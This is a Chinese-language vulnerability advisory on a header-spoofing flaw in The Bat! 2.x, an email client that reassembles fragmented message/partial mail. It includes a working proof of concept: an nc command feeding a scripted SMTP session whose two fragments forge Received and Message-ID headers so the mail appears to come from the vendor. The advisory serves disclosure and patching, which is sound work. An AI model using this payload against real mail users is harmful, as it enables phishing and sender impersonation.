发布日期：2006-02-05
更新日期：2006-02-05

受影响系统：

Rit Research Labs The Bat! 2.x

不受影响系统：

Rit Research Labs The Bat! 3.5

描述：

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The Bat!是一款方便易用的邮件客户端。

The Bat!显示消息的方式存在漏洞，远程攻击者可能利用此漏洞假造邮件的头部信息，隐藏邮件的真正来源。

The Bat!自动重组分片的邮件，而显示的邮件头为重组后邮件的，允许攻击者欺骗隐藏消息的RFC 822头部，包括“_all_Received:”和“Message-ID:”等字段，这样攻击者就可以创建伪造了来源的邮件。

<*来源：3APA3A （3APA3A@security.nnov.ru）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113925620110345&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

用目标地址替换@example.com。

nc ip_of_smtp_relay 25 <thebatexploit.txt


-=-=-=-=- begin thebatexploit.txt -=-=-=-=-
HELO example.com
MAIL FROM: <phiby@example.com>
RCPT TO: <phiby@example.com>
DATA
Date: Mon, 31 Jan 2006 13:30:00 +0300
From: 3APA3A <phiby@example.com>
X-Mailer: The Bat! (v2.12.00)
Organization: http://www.security.nnov.ru/
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706@thebat.net>
To: Phiby <phiby@example.com>
Subject: Subject: Re[7]: //
Message-ID: <p#1split@ACB0994591752.20060130184706@thebat.net>
MIME-Version: 1.0
Content-Type: message/partial; id="split@ACB0994591752.20060130184706@thebat.net";
        number=1; total=2

Received: from mail.ritlabs.com (mail.ritlabs.com [198.63.208.135])
        by mail.example.com (Postfix) with ESMTP id 9F89619EBEB
        for <phiby@example.com>; Mon, 31 Jan 2006 13:30:06 +0300 (MSK)
Date: Mon, 31 Jan 2006 13:30:06 +0300
From: The Bat! developers <bugs@thebat.net>
X-Mailer: The Bat! (v2.12.00)
Organization: RitLabs
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706@thebat.net>
To: Phiby <phiby@example.com>
Subject: Subject: Re[7]: //
MIME-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit

Dear Phiby,

Best wishes for you and http://phiby.com/
.
RSET
MAIL FROM: <phiby@example.com>
RCPT TO: <phiby@example.com>
DATA
Date: Mon, 30 Jan 2006 13:30:06 +0300
From: 3APA3A <phiby@example.com>
Organization: http://www.security.nnov.ru/
X-Mailer: The Bat! (v2.12.00)
Organization: Microsoft
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706@thebat.net>
To: Phiby <phiby@example.com>
Subject: Subject: Re[7]: //
Message-ID: <p#2split@ACB0994591752.20060130184706@microsof.com>
MIME-Version: 1.0
Content-Type: message/partial; id="split@ACB0994591752.20060130184706@thebat.net";
        number=2; total=2

Yours, The Bat! develpment team.
.
QUIT
-=-=-=-=-  end thebatexploit.txt  -=-=-=-=-

建议：

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厂商补丁：

Rit Research Labs
-----------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://thebat.net/en/products/thebat/download.php

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